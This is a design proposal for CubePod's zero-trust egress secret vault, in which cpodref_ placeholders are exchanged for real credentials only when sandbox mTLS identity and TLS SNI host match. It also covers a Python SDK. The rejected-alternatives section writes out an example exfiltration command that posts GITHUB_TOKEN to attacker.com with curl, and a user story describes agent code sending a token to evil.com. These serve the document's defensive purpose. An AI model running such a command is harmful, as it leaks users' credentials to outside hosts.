CEP-0005: Zero-Trust Egress Secret Injection (`cpodref_` mTLS Exchange) & Python SDK `v0.1.0`

此内容尚不支持你的语言。

Source: docs/enhancements/0005-zero-trust-egress-and-sdk/README.md · Status: implemented · Area: egress · Milestone: v0.1 | Field | Value | | :--- | :--- | | CEP Number | 0005 | | Status | implemented (alpha) | | Owning Area | egress / sdk | | Authors | @xfgong | | Created | 2026-11-10 | | Last Updated | 2026-11-10 |

Release Signoff Checklist

Enhancement scope, Goals, and Non-Goals are agreed upon (provisional -> implemented)
API / CRD (pod.cubeplex.ai/v1alpha1) and E2B-superset OpenAPI changes are specified
Dual-runtime behavior (Kubernetes Kata + CSI Block AND Local Docker Loopback) is defined
Security boundary (MicroVM isolation, UID/GID privilege separation, Egress secret safety) is reviewed
Test plan includes unit tests (cargo test / go test) and real invariant E2E tests
Production Readiness Review (PRR) section is complete

Summary

CEP-0005 implements CubePod’s built-in Zero-Trust Egress & Secret Vault (pkg/egress) and completes the full-featured cubepod Python SDK (sdks/python/cubepod). pkg/egress provides an in-memory ECDSA P-256 CA and per-sandbox mTLS client certificate minter (CN = <sandboxID>), host wildcard allow/deny evaluation, and the cpodref_<32-char-base32> secret placeholder vault and exchange evaluator (enforcing sandbox identity, SNI host binding, and allowed HTTP header names). sdks/python/cubepod provides the complete async-first client (AsyncCubePod) covering lifecycle, foreground/background commands with cursor logs, file read/write, tar.gz skill archive_sync, panel endpoint generation, reset_rootfs, fork, and Egress secret bindings.

Motivation

Real external API credentials (such as GITHUB_TOKEN, OPENAI_API_KEY, or internal service tokens) must never enter the untrusted sandbox environment. By minting opaque cpodref_ placeholders and swapping them at the egress boundary only when the sandbox’s mTLS identity and destination TLS SNI host match the secret’s binding policy, CubePod eliminates secret exfiltration while remaining 100% compatible with CubePlex’s :8443 mTLS exchange architecture.

Goals

Implement pkg/egress:
1. Per-Sandbox mTLS Certificate Minter (cert.go): Generates a root CA and mints short-lived per-sandbox client certificates (Subject.CommonName = sandboxID), plus verifies client certificates to extract sandboxID.
2. Placeholder Generator & Secret Exchange (vault.go): Mints cpodref_<32-char-base32> placeholders bound to (sandboxID, envName, secretValue, allowedHosts, allowedHeaders), and evaluates Exchange(sandboxID, placeholder, sniHost, headerName) (secretValue, error) with fail-closed validation.
3. Host Policy Matcher (policy.go): Evaluates NetworkPolicySpec (DefaultAction: Allow|Deny, exact and *.domain.com wildcard matching).
Complete sdks/python/cubepod:
1. Full support for create (with volume_key, network_policy, secret_bindings), connect, pause, reset_rootfs, fork, renew_timeout, acquire_lease, execute, start_command, poll_command, kill_command, write_file, read_file, archive_sync (packing a dict of files into tar.gz in memory and uploading in one call), and get_panel_endpoint.
2. Comprehensive unit tests (sdks/python/tests/test_sdk.py) using httpx.MockTransport.

Non-Goals

Supporting plaintext HTTP secret substitution (HTTPS SNI is mandatory; plaintext requests always fail closed).

Proposal

User Stories

Story 1: Fail-Closed Secret Exchange Bound to Sandbox Identity and TLS SNI

As a CubePlex security administrator, if agent code inside cpod-1 reads GITHUB_TOKEN=cpodref_ABC... and tries to send it to evil.com (or if cpod-2 steals the placeholder and sends it to api.github.com), pkg/egress rejects the swap (ErrHostNotAllowed or ErrSandboxMismatch) and never reveals the secret.

Story 2: Single-Call `archive_sync` in Python SDK for CubePlex Skills

As CubePlex’s LazySandbox, calling await client.archive_sync(sandbox_id, files={"/workspace/.skills/demo/SKILL.md": b"..."}, dest="/workspace") packs an in-memory tar.gz and syncs all skill files in a single HTTP request.

Risks and Mitigations

Risk	Impact	Likelihood	Mitigation
Wildcard host rule `*.github.com` accidentally matches `evilgithub.com`	High	Low	Enforce strict dot-boundary matching (`strings.HasSuffix(host, ".github.com")`).

Design Details

API / CRD / Wire Changes

In pkg/egress:

NewCA() (*CA, error) & ca.MintSandboxCert(sandboxID string, ttl time.Duration) (certPEM, keyPEM []byte, err error)
ca.VerifySandboxCert(certPEM []byte) (sandboxID string, err error)
NewVault() *Vault
vault.BindSecret(sandboxID, envName, rawSecret string, allowedHosts, allowedHeaders []string) (placeholder string, err error)
vault.Exchange(sandboxID, placeholder, sniHost, headerName string) (string, error)
MatchHost(host string, pattern string) bool & CheckEgressAllowed(policy v1alpha1.NetworkPolicySpec, host string) bool

Architecture & State Machine

flowchart LR
    Agent["Agent Process<br/>Authorization: Bearer cpodref_..."] --> Sidecar["Egress MITM Sidecar"]
    Sidecar -- "mTLS (CN=cpod-1) + SNI=api.github.com" --> Vault["pkg/egress.Vault.Exchange"]
    Vault -- "Verify CN == cpod-1 & SNI in AllowedHosts" --> Secret["Return Real Secret"]

Dual-Runtime Behavior (K8s Kata vs. Local Docker)

pkg/egress.CA and pkg/egress.Vault work identically in-cluster and in local mode.

Test Plan

Go Unit Tests (go test -v -race ./pkg/egress/...):
- Mint per-sandbox ECDSA mTLS cert, verify it against the CA, and assert sandboxID is extracted from CN.
- Verify BindSecret generates a valid cpodref_ token and Exchange succeeds only when sandboxID, sniHost (including *.github.com wildcard), and headerName (case-insensitive) match.
- Verify Exchange fails closed on wrong sandboxID, wrong sniHost, disallowed headerName, or revoked sandbox secrets.
Python SDK Tests (pytest / unittest in sdks/python/tests/):
- Test AsyncCubePod lifecycle, execute, background command cursor polling, archive_sync tar.gz creation, reset_rootfs, fork, and get_panel_endpoint.

Graduation Criteria

Alpha (v0.1): All pkg/egress Go tests and sdks/python tests pass.

Upgrade / Downgrade Strategy

In-memory CA and vault bindings are ephemeral per sandbox lifecycle; rotating a secret in the vault immediately updates subsequent Exchange calls without restarting the sandbox.

Production Readiness Review Questionnaire (PRR)

Feature Enablement and Rollback

Controlled via PodTemplateSpec.Egress.Enabled.

Monitoring Requirements

Audit logs on every secret exchange denial.

Dependencies

Go crypto/ecdsa, crypto/x509, crypto/tls.

Troubleshooting

Exchange returns typed sentinel errors (ErrUnknownPlaceholder, ErrSandboxMismatch, ErrHostNotAllowed, ErrHeaderNotAllowed).

Implementation History

2026-11-10: CEP-0005 drafted and marked implemented.

Drawbacks

Requires sandbox HTTP clients to trust the injected MITM CA (SSL_CERT_FILE, REQUESTS_CA_BUNDLE, NODE_EXTRA_CA_CERTS).

Alternatives

Alternative 1: Injecting Real Secrets into Sandbox Environment Variables

Description: Pass GITHUB_TOKEN=ghp_... directly into container env.
Reason for Rejection: Untrusted LLM-generated code can run env or curl https://attacker.com -d "$GITHUB_TOKEN" and exfiltrate user credentials immediately.